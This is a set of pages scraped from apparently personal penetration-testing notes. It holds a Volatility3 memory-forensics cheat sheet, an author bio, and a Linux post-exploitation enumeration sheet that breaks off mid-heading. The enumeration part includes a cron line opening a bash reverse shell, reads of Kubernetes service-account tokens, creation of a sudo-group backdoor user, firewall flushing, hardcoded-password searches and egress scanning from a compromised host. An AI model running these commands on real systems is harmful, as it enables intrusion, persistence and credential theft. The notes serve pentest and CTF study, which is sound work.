# Table of Contents - [Volatility3 | h4rithd.com | Notes](#volatility3-h4rithd-com-notes) - [Hi, 😎🤏 | h4rithd.com | Notes](#hi-h4rithd-com-notes) - [Lateral Movement | h4rithd.com | Notes](#lateral-movement-h4rithd-com-notes) - [Docker | h4rithd.com | Notes](#docker-h4rithd-com-notes) - [PrivilageEsc Linux 👑 | h4rithd.com | Notes](#privilageesc-linux-h4rithd-com-notes) - [AWS | h4rithd.com | Notes](#aws-h4rithd-com-notes) - [Lateral Movement | h4rithd.com | Notes](#lateral-movement-h4rithd-com-notes) - [PrivilageEsc Windows 👑 | h4rithd.com | Notes](#privilageesc-windows-h4rithd-com-notes) - [Kubernetes | h4rithd.com | Notes](#kubernetes-h4rithd-com-notes) --- # Volatility3 | h4rithd.com | Notes * * * [](#id-00.-basic) 00\. Basic --------------------------------- * Genraral Copy ## ------------------| Install pip3 install volatility3 ## ------------------| Run All Relevant Plugins for Time-Based Data vol -f "/path/to/file" timeliner.Timeliner ## ------------------| Run Plugins with Configurations vol -c "/path/to/config.json" --parallelism processes -o "/path/to/output" windows.pslist ## ------------------| Define Specific Plugins and Symbols vol -p "/path/to/plugins" -s "/path/to/symbols" -f "/path/to/file" windows.callbacks ## ------------------| Render Output in JSON vol -f "/path/to/file" --renderer json windows.psscan ## ------------------| Log output to a file as well as the console vol -f "/path/to/file" -l logs.txt windows.psscan ## ------------------| Clears out all short-term cached items vol --clear-cache ## ------------------| Do not search online for additional JSON files vol -f "/path/to/file" --offline windows.psscan ## ------------------| Help for plugin specific options vol -h ## ------------------| Plugin to list the various modular components of Volatility vol frameworkinfo.FrameworkInfo ## ------------------| Runs the automagics and both prints and outputs configuration in the output directory. vol -f "/path/to/file" configwriter.ConfigWriter ## ------------------| Yara Scans vol -f "/path/to/file" windows.vadyarascan --yara-rules vol -f "/path/to/file" windows.vadyarascan --yara-file "/path/to/file.yar" vol -f "/path/to/file" yarascan.yarascan --yara-file "/path/to/file.yar" [](#id-01-windows) 01 Windows ---------------------------------- ### [](#id-01.-1-os-information) 01\. 1 OS Information Copy ## ------------------| Show OS & kernel details of the memory sample being analyzed. vol -f "/path/to/file" windows.info.Info ## ------------------| List environment variables vol -f "/path/to/file" windows.envars ## ------------------| lists Processes with Session information extracted from Environmental Variables vol -f "/path/to/file" windows.sessions.Sessions ## ------------------| Lists the information from a Windows crash dump. vol -f "/path/to/file" windows.crashinfo.Crashinfo ## ------------------| Listing tree based on drivers and attached devices in a particular windows memory image. vol -f "/path/to/file" windows.devicetree.DeviceTree ## ------------------| A generic pool scanner plugin. vol -f "/path/to/file" windows.poolscanner.PoolScanner ### [](#id-01.2-process-information) 01.2 Process Information Copy ## ------------------| Process List vol -f "/path/to/file" windows.psxview vol -f "/path/to/file" windows.pslist vol -f "/path/to/file" windows.psscan vol -f "/path/to/file" windows.pstree ## ------------------| List Process Information with Command Line Arguments vol -f "/path/to/file" windows.cmdline vol -f "/path/to/file" windows.cmdline --pid ## ------------------| Process Dump vol -f "/path/to/file" -o "/path/to/dir" windows.dumpfiles --pid ## ------------------| Memory Dump vol -f "/path/to/file" -o "/path/to/dir" windows.memmap --dump --pid ## ------------------| Extracting Process Executable vol -f "/path/to/file" windows.memmap --dump --pid --output-dir "/path/to/dir" ## ------------------| Lists process open handles vol -f "/path/to/file" windows.handles vol -f "/path/to/file" windows.handles --pid ## ------------------| DLLs vol -f "/path/to/file" windows.dlllist vol -f "/path/to/file" windows.dlllist --pid ## ------------------| Unloaded DLLs vol -f "/path/to/file" windows.unloadedmodules ## ------------------| Print the SIDs owning each process vol -f "/path/to/file" windows.getsids ## ------------------| List big page pools. vol -f "/path/to/file" windows.bigpools.BigPools ## ------------------| Lists process token sids. vol -f "/path/to/file" windows.getservicesids.GetServiceSIDs ## ------------------| Lists process token privileges vol -f "/path/to/file" windows.privileges.Privs ## ------------------| Lists processes whose DeletePending bit is set or whose FILE_OBJECT is set to 0 vol -f "/path/to/file" windows.processghosting.ProcessGhosting ## ------------------| Lists statistics about the memory space. vol -f "/path/to/file" windows.statistics.Statistics ## ------------------| Reads output from the strings command and indicates which process(es) each string belongs to. vol -f "/path/to/file" windows.strings.String ### [](#id-01.3-network-information) 01.3 Network Information Copy ## ------------------| Connections vol -f "/path/to/file" windows.netscan ### [](#id-01.4-registry-information) 01.4 Registry Information Copy ## ------------------| Hive List vol -f "/path/to/file" windows.registry.hivescan vol -f "/path/to/file" windows.registry.hivelist ## ------------------| Printkey vol -f "/path/to/file" windows.registry.printkey vol -f "/path/to/file" windows.registry.printkey --key "HKEY_LOCAL_MACHINE\SAM\SAM" ## ------------------| Hive Dump vol -f "/path/to/file" windows.joblinks ## ------------------| Lists the certificates in the registry's Certificate Store. vol -f "/path/to/file" windows.registry.certificates.Certificates ## ------------------| Reports registry hives with a hooked GetCellRoutine handler vol -f "/path/to/file" windows.registry.getcellroutine.GetCellRoutine ### [](#id-01.5-file-system-information) 01.5 File System Information Copy ## ------------------| File Scan vol -f "/path/to/file" windows.filescan ## ------------------| File Dump vol -f "/path/to/file" -o "/path/to/dir" windows.dumpfiles vol -f "/path/to/file" -o "/path/to/dir" windows.dumpfiles --virtaddr vol -f "/path/to/file" -o "/path/to/dir" windows.dumpfiles --physaddr ## ------------------| Scans for drivers present in a particular windows memory image. vol -f "/path/to/file" windows.driverscan.DriverScan ## ------------------| Scans for and parses potential Master Boot Records (MBRs) vol -f "/path/to/file" windows.mbrscan.MBRScan ## ------------------| Allows extracting PE Files from a specific address in a specific address space vol -f "/path/to/file" windows.pedump.PEDump --pid ## ------------------| TrueCrypt Cached Passphrase Finder vol -f "/path/to/file" windows.truecrypt.Passphrase ## ------------------| Lists version information from PE files. vol -f "/path/to/file" windows.verinfo.VerInfo ### [](#id-01.6-malware-analysis) 01.6 Malware Analysis Copy ## ------------------| Check for Potentially Injected Code (Malfind) vol -f "/path/to/file" windows.malfind vol -f "/path/to/file" windows.malfind --pid ## ------------------| Driver Scan vol -f "/path/to/file" windows.driverscan ## ------------------| Find Suspicious Userland Threads vol -f "/path/to/file" windows.suspicious_threads ## ------------------| List SSDT (System Service Descriptor Table) vol -f "/path/to/file" windows.ssdt.SSDT ## ------------------| Lists hollowed processes vol -f "/path/to/file" windows.hollowprocesses ## ------------------| Determines if any loaded drivers were hidden by a rootkit vol -f "/path/to/file" windows.drivermodule.DriverModule ## ------------------| Looks for signs of Skeleton Key malware vol -f "/path/to/file" windows.skeleton_key_check.Skeleton_Key_Check ### [](#id-01.7-other) 01.7 Other Copy ## ------------------| Shim Cache vol -f "/path/to/file" windows.shimcache ## ------------------| Timeliner vol -f "/path/to/file" timeliner ## ------------------| Detect Hidden Kernel Modules vol -f "/path/to/file" windows.modscan ## ------------------| Lists kernel callbacks and notification routines. vol -f "/path/to/file" windows.callbacks.Callbacks ## ------------------| List IRPs for drivers in a particular windows memory image. vol -f "/path/to/file" windows.driverirp.DriverIrp ## ------------------| Print KPCR structure for each processor vol -f "/path/to/file" windows.kpcrs.KPCRs ## ------------------| Lists the loaded modules in a particular windows memory image. vol -f "/path/to/file" windows.ldrmodules.LdrModules ## ------------------| Scans for mutexes present in a particular windows memory image. vol -f "/path/to/file" windows.mutantscan.MutantScan ## ------------------| Reads Shimcache entries from the ahcache.sys AVL tree vol -f "/path/to/file" windows.shimcachemem.ShimcacheMem [](#id-02.-linux) 02\. Linux --------------------------------- ### [](#id-02.1-os-information) 02.1 OS Information Copy ## ------------------| Attempts to identify potential linux banners vol -f "/path/to/file" banners.Banners ## ------------------| Determines information about the currently available ISF files, or a specific one vol -f "/path/to/file" isfinfo.IsfInfo ## ------------------| Kernel Modules vol -f "/path/to/file" linux.lsmod.Lsmod vol -f "/path/to/file" linux.check_modules.Check_modules ## ------------------| List Loaded Kernel Modules (Lsmod) vol -f "/path/to/file" linux.lsmod.Lsmod ## ------------------| Kernel log buffer reader vol -f "/path/to/file" linux.kmsg.Kmsg ## ------------------| Bash History vol -f "/path/to/file" linux.bash.Bash ## ------------------| Lists processes with their environment variables vol -f "/path/to/file" linux.envars.Envars ## ------------------| Mount Information vol -f "/path/to/file" linux.mountinfo.MountInfo ### [](#id-02.2-process-information) 02.2 Process Information Copy ## ------------------| Lists the processes present in a particular linux memory image. vol -f "/path/to/file" linux.pslist.PsList ## ------------------| Scans for processes present in a particular linux image. vol -f "/path/to/file" linux.psscan.PsScan ## ------------------| Plugin for listing processes in a tree based on their parent process ID. vol -f "/path/to/file" linux.pstree.PsTree ## ------------------| Lists processes with their command line arguments vol -f "/path/to/file" linux.psaux.PsAux ## ------------------| Check_syscall Check system call table for hooks. vol -f "/path/to/file" linux.check_syscall.Check_syscall ## ------------------| Lists all memory mapped ELF files for all processes. vol -f "/path/to/file" linux.elfs.Elfs ## ------------------| Generates an output similar to /proc/iomem on a running system. vol -f "/path/to/file" linux.iomem.IOMem ## ------------------| Enumerate libraries loaded into processes vol -f "/path/to/file" linux.library_list.LibraryList ## ------------------| Lists all memory maps for all processes. vol -f "/path/to/file" linux.proc.Maps ### [](#id-02.3-network-information) 02.3 Network Information Copy ## ------------------| Analyze Open Network Connections (Sockstat) vol -f "/path/to/file" linux.sockstat.Sockstat vol -f "/path/to/file" linux.netfilter.Netfilter ## ------------------| Checks tty devices for hooks vol -f "/path/to/file" linux.tty_check.tty_check ### [](#id-02.4-malware-analysis) 02.4 Malware Analysis Copy ## ------------------| Check for Potentially Injected Code (Malfind) vol -f "/path/to/file" linux.malfind.Malfind ## ------------------| Enumerate Memory Mapped ELF Files vol -f "/path/to/file" linux.elfs.Elfs ### [](#id-02.5-others) 02.5 Others Copy ## ------------------| Parses the keyboard notifier call chain vol -f "/path/to/file" linux.keyboard_notifiers.Keyboard_notifiers [](#id-03.-macos) 03\. macOS --------------------------------- ### [](#id-03.1-os-information) 03.1 OS Information Copy ## ------------------| Bash History vol -f "/path/to/file" mac.bash.Bash ## ------------------| Mount Information vol -f "/path/to/file" mac.mount.Mount ## ------------------| Lists loaded kernel modules. vol -f "/path/to/file" mac.lsmod.Lsmod ## ------------------| Lists all open file descriptors for all processes. vol -f "/path/to/file" mac.lsof.Lsof ## ------------------| Kernel Log Buffer (Dmesg) vol -f "/path/to/file" mac.dmesg.Dmesg ## ------------------| Environment Variables vol -f "/path/to/file" mac.envars.Envars ## ------------------| Determines information about the currently available ISF files, or a specific one vol -f "/path/to/file" isfinfo.IsfInfo ## ------------------| Check_syscall Check system call table for hooks. vol -f "/path/to/file" mac.check_syscall.Check_syscall ## ------------------| Lists kauth listeners and their status vol -f "/path/to/file" mac.kauth_listeners.Kauth_listeners ## ------------------| Lists kauth scopes and their status vol -f "/path/to/file" mac.kauth_scopes.Kauth_scopes ### [](#id-03.2-process-information) 03.2 Process Information Copy ## ------------------| Process List vol -f "/path/to/file" mac.pslist.PsList vol -f "/path/to/file" mac.pstree.PsTree ## ------------------| List All Process Command-Line Arguments vol -f "/path/to/file" mac.psaux.Psaux ## ------------------| Lists event handlers registered by processes vol -f "/path/to/file" mac.kevents.Kevents ## ------------------| Lists all open file descriptors for all processes. vol -f "/path/to/file" mac.list_files.List_Files ## ------------------| Lists processes that are filtering file system events vol -f "/path/to/file" mac.vfsevents.VFSevents ### [](#id-03.3-network-information) 03.3 Network Information Copy ## ------------------| Lists all network connections for all processes. vol -f "/path/to/file" mac.netstat.Netstat ## ------------------| Lists network interface information for all devices vol -f "/path/to/file" mac.ifconfig.Ifconfig ## ------------------| Lists kauth listeners and their status vol -f "/path/to/file" mac.kauth_listeners.Kauth_listeners ### [](#id-03.4-file-system-information) 03.4 File System Information Copy ## ------------------| List Open File Descriptors vol -f "/path/to/file" mac.lsof.Lsof ### [](#id-03.5-malware-analysis) 03.5 Malware Analysis Copy ## ------------------| Lists process memory ranges that potentially contain injected code. vol -f "/path/to/file" mac.malfind.Malfind ## ------------------| Check for Malicious Kernel Timers vol -f "/path/to/file" mac.timers.Timers ## ------------------| Lists process memory ranges that potentially contain injected code. vol -f "/path/to/file" mac.proc_maps.Maps ## ------------------| Check for malicious kernel timers. vol -f "/path/to/file" mac.timers.Timers ## ------------------| Checks for malicious trustedbsd modules vol -f "/path/to/file" mac.trustedbsd.Trustedbsd ### [](#id-03.6-others) 03.6 Others Copy ## ------------------| Enumerates kernel socket filters. vol -f "/path/to/file" mac.socket_filters.Socket_filters ## ------------------| Runs all relevant plugins that provide time related information and orders the results by time. vol -f "/path/to/file" timeliner.Timeliner ## ------------------| Scans for Intel VT-d structues and generates VM volatility configs for them vol -f "/path/to/file" vmscan.Vmscan Last updated 3 months ago Was this helpful? 🩻 ![Page cover image](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FxVRfWlt2lqmlOgZGjui2%252FNoteCoverTemplate.jpg%3Falt%3Dmedia%26token%3D40f4f93c-49e7-41d0-a97e-16cb1b74503f&width=1248&dpr=4&quality=100&sign=8bf5fef3&sv=2) --- # Hi, 😎🤏 | h4rithd.com | Notes * * * Last updated 3 months ago Was this helpful? ### [](#undefined) #### [](#glad-to-see-you-here) Glad to see you here! As an Offensive Security Engineer 🔐 and a Technology Enthusiast 💻 at large, I spend a lot of time debugging 🔍, learning 📚, playing CTFs 🛠️, and writing my blog posts 📝 while working as a professional and trying to get better experience in red teaming 🛡️, pivoting techniques 🔄, AV evasion and analyzing modern malware techniques 🧬. I also put my hands on, hardware stuff, including Arduino & Raspberry Pi. I am always looking for a fresh challenge. 🌟 * 👨‍🎓 Graduated at SLIIT specializing in Cyber Security. * 🇱🇰 From Sri Lanka You can reach me at 👇 [](https://h4rithd.com/blog/) [](https://h4rithd.com/) [](https://twitter.com/h4rithd) [](https://www.linkedin.com/in/harithdilshan/) [](https://app.hackthebox.com/profile/550483) If you like what I do, maybe consider buying me a coffee/tea 🥺👉👈 [](https://www.buymeacoffee.com/harithdilshan) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F3XpvBjjMWtYYIOtOlp%2Fgiphy.gif&width=300&dpr=4&quality=100&sign=4c43334f&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fimg.shields.io%2Fbadge%2FBlog-21759B%3Fstyle%3Dfor-the-badge%26logo%3Dghost%26logoColor%3Dwhite&width=300&dpr=4&quality=100&sign=bbd1f2f5&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fimg.shields.io%2Fbadge%2Ftwitter-1DA1F2%3Fstyle%3Dfor-the-badge%26logo%3Dtwitter%26logoColor%3Dwhite&width=300&dpr=4&quality=100&sign=f5845b31&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fimg.shields.io%2Fbadge%2Flinkedin-0A66C2%3Fstyle%3Dfor-the-badge%26logo%3Dlinkedin%26logoColor%3Dwhite&width=300&dpr=4&quality=100&sign=510ec00&sv=2) ![Page cover image](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FpneyPecqITNquGW8d3qm%252Fbanner.jpg%3Falt%3Dmedia%26token%3D675e2de9-e7e0-4da3-abaa-05344e060ba8&width=1248&dpr=4&quality=100&sign=d949b1e7&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fcdn.buymeacoffee.com%2Fbuttons%2Fv2%2Fdefault-red.png&width=300&dpr=4&quality=100&sign=d92fb100&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fimg.shields.io%2Fbadge%2Fhackthebox-a3e54a%3Fstyle%3Dfor-the-badge%26logo%3Dhackthebox%26logoColor%3Dblack&width=300&dpr=4&quality=100&sign=5edca78f&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fimg.shields.io%2Fbadge%2FWebsite-38B2AC%3Fstyle%3Dfor-the-badge%26logo%3Dwebdriverio%26logoColor%3Dwhite&width=300&dpr=4&quality=100&sign=c273c1b8&sv=2) ![](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2Fvisitor-badge.laobi.icu%2Fbadge%3Fpage_id%3Dh4rithd.h4rithd&width=300&dpr=4&quality=100&sign=1add6322&sv=2) --- # Lateral Movement | h4rithd.com | Notes * * * [](#id-01.-common-enumerations) 01\. Common Enumerations ------------------------------------------------------------- Most of command extract from \*\*\*\* [**linpeas.sh**](https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh) \*\*\*\* ### [](#id-01.1-os-enumerations) 01.1 OS Enumerations Copy ## ------------------| OS details cat /etc/*-release cat /proc/version lsb_release -a hostnamectl ## ------------------| Domain joined ? cat /etc/krb5.conf kinit -k host/$(hostname -f) realm list | grep active-directory adcli testjoin ## ------------------| Kernel version uname -a uname --kernel-name --kernel-release --machine ## ------------------| SUDO version sudo -V 2>/dev/null | grep "Sudo ver" ## ------------------| System stats / Disk info (df -h || lsblk) 2>/dev/null ## ------------------| List all services (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null ## ------------------| Mounted Files (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "/ /|/null | proc proc |/dev/console" ## ------------------| USBCreator ? busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator ## ------------------| ASLR enabled? cat /proc/sys/kernel/randomize_va_space 2>/dev/null ## ------------------| Virtual environment ? systemd-detect-virt grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor ## ------------------| Search socket files find / -type s 2>/dev/null ## ------------------| Files with capabilities getcap -r / 2>/dev/null ## ------------------| Set capabilities for file sudo setcap cap_net_bind_service=+ep $(readlink -f /usr/bin/python3) ## ------------------| Inside lxc container? cat /proc/1/environ ## ------------------| Inside docker? find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null ## ------------------| Enumerate Docker Sockets find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null curl -s --unix-socket http://localhost/info ## ------------------| Enumerate on Kubernetes ### Kubernetes namespace cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null ### Kubernetes token cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null ### Kubernetes service account folder ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null ### [](#id-01.2-user-enumerations) 01.2 User Enumerations Copy ## ------------------| List user's groups (id || (whoami && groups)) 2>/dev/null ## ------------------| List user's privileges sudo -l ## ------------------| List all users cat /etc/passwd | grep sh$ | awk -F: '{print $1}' ## ------------------| Superusers awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null ## ------------------| Users with console grep "sh$" /etc/passwd 2>/dev/null | sort ## ------------------| Login activity ### current logins (w || who || finger || users) 2>/dev/null ### Last logins (last -Faiw || last) 2>/dev/null | tail lastlog 2>/dev/null | grep -v "Never" ## ------------------| Password policy grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null ## ------------------| Change user password echo "h4rithd" | passwd --stdin ## ------------------| Add new user to sudo group useradd -p $(openssl passwd -1 h4rithd) -m newadmin --groups sudo ## ------------------| Create user & group with given id sudo groupadd -g 2017 dummy sudo useradd dummy -u 2017 -g 2017 -s /bin/bash ### [](#id-01.3-process-enumeration) 01.3 Process Enumeration Copy ## ------------------| List all current processes ps -auxw | less -w (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | grep --color=always -z root \ \ ## ------------------| List all current processes belongs to current user\ ps -ef | grep $(whoami) | less -w\ \ ## ------------------| Binary processes permissions\ ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " \ \ ## ------------------| List all cron jobs\ grep "CRON" /var/log/cron.log\ cat /etc/crontab\ ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null \ \ ## ------------------| List files in crontabs\ ls -al /var/spool/cron/crontabs/\ \ ## ------------------| Create cronjob\ * * * * * root bash -c 'bash -i >& /dev/tcp// 0>&1'\ \ ## ------------------| List all Systemd/Timers\ watch -n 1 'systemctl list-timers'\ systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" \ ### You can get service path by \ find /etc | grep \ \ ### \ \ [](#id-01.4-network-enumeration)\ \ 01.4 Network Enumeration\ \ Copy\ \ ## ------------------| List IP address\ ifconfig\ ip -c -a -h addrbash\ cat /proc/net/fib_trie | grep '|--'\ \ ## ------------------| List arp table\ arp -n\ cat /proc/net/arp\ \ ## ------------------| Kill port connection\ fuser -k 4444/tcp\ \ ## ------------------| List all listening ports / sockets \ netstat -anlp | grep LIST\ (netstat -punta || ss -nltpu || netstat -anv) 2>/dev/null | grep -i listen\ \ ## ------------------| Get what service on port\ ps -ef | grep \ \ ## ------------------| Hostname, hosts and DNS\ cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null \ \ ## ------------------| Networks and neighbours\ netstat -rn 2>/dev/null\ (route || ip n || cat /proc/net/route) 2>/dev/null\ (arp -e || arp -a || cat /proc/net/arp) 2>/dev/null\ \ ## ------------------| List local networks\ ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\." \ \ ## ------------------| Reads network addresses in /proc\ cat /proc/net/tcp | awk '{print $1,$2,$3,$4}'\ ### 0: 00000000:0016 00000000:0000 0A\ ### | | | | | |--> connection state\ ### | | | | |------> remote TCP port number\ ### | | | |-------------> remote IPv4 address\ ### | | |--------------------> local TCP port number\ ### | |---------------------------> local IPv4 address\ ### |----------------------------------> number of entry\ \ ## ------------------| Perl script to decode the address at /proc/net/tcp\ ### Usage prel proc.pl 00000000 0016\ #!/usr/bin/perl\ my $hexip=$ARGV[0];\ my $hexport=$ARGV[1];\ print "hex: $hexip\n";\ my @ip = map hex($_), ( $hexip =~ m/../g );\ my $ip = join('.',reverse(@ip));\ my $port = hex($hexport);\ print "IP: $ip PORT: $port\n"; \ \ ## ------------------| Create pcap file\ sudo tcpdump -i any -w /tmp/capture.pcap -v\ sudo tcpdump -i any -w /tmp/capture.pcap -v -s0\ sudo tcpdump -i any -w /tmp/capture.pcap -v icmp\ sudo tcpdump -i any -w /tmp/capture.pcap -v port 21\ sudo tcpdump -i any -w /tmp/capture.pcap -v not port 22\ sudo tcpdump -i any -w /tmp/capture.pcap -v -s0 -nn port 80\ \ * Egres Busting Unveiled\ \ \ Copy\ \ ## ------------------| Manual\ ### From my pc \ sudo tcpdump -i tun0 tcp[13]==2\ ### From compromise machine\ nc -nzv -w 1 1-1000\ \ ## ------------------| From TrustedSec Script\ git clone https://github.com/trustedsec/egressbuster.git && cd egressbuster\ ### From my pc \ python3 egress_listener.py 0.0.0.0/0 \ ### From compromise machine\ python3 egressbuster.py 1-65536\ \ * IPTables\ \ \ Copy\ \ ## ------------------| IPTable\ ### Active rules [need access]\ sudo iptables -L\ \ ## ------------------| Flush \ sudo iptables -F # Clears all rules from all chains\ sudo iptables -F INPUT # Clears all rules in the INPUT chain\ sudo iptables -F OUTPUT # Clears all rules in the OUTPUT chain\ sudo iptables -F FORWARD # Clears all rules in the FORWARD chain\ sudo iptables -Z # Resets packet and byte counters for all chains\ \ ## ------------------| Set Default Policies\ iptables-save > /dev/shm/fbashirewall.rules\ sudo iptables -P INPUT ACCEPT\ sudo iptables -P OUTPUT ACCEPT\ sudo iptables -P FORWARD DROP\ \ ## ------------------| Delete Rules\ sudo iptables -L --line-numbers # List Rules with Line Numbers\ sudo iptables -D [INPUT/OUTPUT/..] [LINE_NUMBER]\ sudo iptables -D [INPUT/OUTPUT/..] -s [SOURCE] -d [DESTINATION] -p [PROTOCOL] --dport [PORT] -j [ACTION]\ \ ## ------------------| Default Files\ ls /etc/iptables/\ ### for IPV4\ cat ls /etc/iptables/rules.v4\ ### for IPV6\ cat ls /etc/iptables/rules.v6\ ### OpenBSD (pf)\ find /etc/authpf\ /etc/authpf/authpf.conf\ /etc/authpf/authpf.rules\ \ ## ------------------| Restart\ sudo systemctl restart iptables # For systems with iptables service\ sudo systemctl restart firewalld # For systems with firewalld\ \ ## ------------------| Basic Rules\ ### Allows incoming SSH traffic on port 22\ sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT\ ### Allows all traffic from IP 192.168.1.100 \ sudo iptables -A INPUT -s 192.168.1.100 -j ACCEPT \ ### Blocks incoming traffic from IP 203.0.113.5 \ sudo iptables -A INPUT -s 203.0.113.5 -j DROP \ ### Allows outgoing HTTP traffic on port 80 \ sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT \ ### Sets default policy to DROP for incoming traffic\ sudo iptables -P INPUT DROP \ ### Allows incoming HTTPS traffic on port 443\ sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT\ ### Drops traffic from IP 198.51.100.10 \ sudo iptables -A INPUT -s 198.51.100.10 -j DROP \ ### Allows established/related connections\ sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT \ ### Logs traffic from IP 198.51.100.10\ sudo iptables -A INPUT -s 198.51.100.10 -j LOG --log-prefix "Dropped IP: " \ \ ## ------------------| Allow only HTTP and block all including rev shells\ :INPUT DROP [0:0]\ :FORWARD ACCEPT [0:0]\ :OUTPUT DROP [0:0]\ -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT\ -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT\ -A INPUT -i lo -j ACCEPT\ -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT\ -A OUTPUT -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT\ -A OUTPUT -o lo -j ACCEPT\ COMMIT\ \ ### \ \ [](#id-01.5-files-directories-enumerations)\ \ 01.5 Files / Directories Enumerations\ \ * Common\ \ \ Copy\ \ ## ------------------| List files with advance options\ ls -laSrh # sort by size\ ls -lacrh # sort by change time\ ls -laurh # sort by access time\ ls -laRh # recursive ls\ ls -latrh # sort by date\ \ ## ------------------| List attribute\ lsattr \ \ ## ------------------| Get file access control lists\ getfacl \ \ ## ------------------| List files with directories \ find . -type f -ls 2>/dev/null\ \ ## ------------------| List files includeing sub directories \ find . -ls -type f 2>/dev/null\ \ ## ------------------| List all files with line count\ find -type f -exec wc -l {} \; 2>/dev/null | sort -nr\ \ ## ------------------| What are in the history files?\ cat ~/.*history | less\ \ ## ------------------| Last modified file\ find $1 -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head\ find $1 -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head\ \ * SUID/SGID\ \ \ Copy\ \ ## ------------------| List all SUID binary files\ ### Normal search\ find / -perm -4000 -ls 2>/dev/null\ ### Sort with dates\ find / -perm -4000 -printf "%T@\t%Tc %6k KiB %p\n" 2>/dev/null | sort -n | cut -f 2- \ \ ## ------------------| List all SGID binary files\ find / -perm -2000 -ls 2>/dev/null\ \ * Find hardcode credentials.\ \ \ Copy\ \ export GREP_COLOR='1;37;41'\ grep --color=always -RiE '(password|pwd|pass)' . --exclude=\*.{css,js,md} 2>/dev/null\ grep --color=always -RiE '(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+' * 2>/dev/null\ grep --color=always -Rnw '/' -ie "PASSWORD\|PASSWD" –color=always 2>/dev/null\ \ * Find with complex\ \ \ Copy\ \ ## ------------------| List files belongs to current group / user\ find / -user $(whoami) -ls 2>/dev/null\ find / -group $(groups) -ls 2>/dev/null\ \ ## ------------------| If you are in multiple groups\ for i in $(groups);do find / -group $i -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys';done\ \ ## ------------------| Above commands with filter\ find / -user $(whoami) -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'\ find / -group $(groups) -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'\ \ ## ------------------| Find world-writeable folders\ find / -writable -type d -ls 2>/dev/null\ find / -perm -222 -type d -ls 2>/dev/null\ find / -perm -o w -type d -ls 2>/dev/null\ \ ## ------------------| Find world-executable folders\ find / -perm -o x -type d -ls 2>/dev/null\ \ ## ------------------| Find readable files belonging to root and not world readable\ find / -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "/sys\|/boot\|/var\|/etc/\|/run" \ \ ## ------------------| List all files with permisions / owner [beautify]\ find . -type f -printf "%f\t%p\t%u\t%g\t%m\n" 2>/dev/null | column -t\ \ ## ------------------| Find files that were modified in the last 10 days\ find / -mtime 10 -ls 2>/dev/null\ \ ## ------------------| Find files that were accessed in the last 10 day\ find / -atime 10 -ls 2>/dev/null\ \ ## ------------------| Find files changed within the last hour (60 minutes)\ find / -cmin -60 -ls 2>/dev/null\ \ ## ------------------| Find files accesses within the last hour (60 minutes)\ find / -amin -60 -ls 2>/dev/null \ \ ## ------------------| Binary 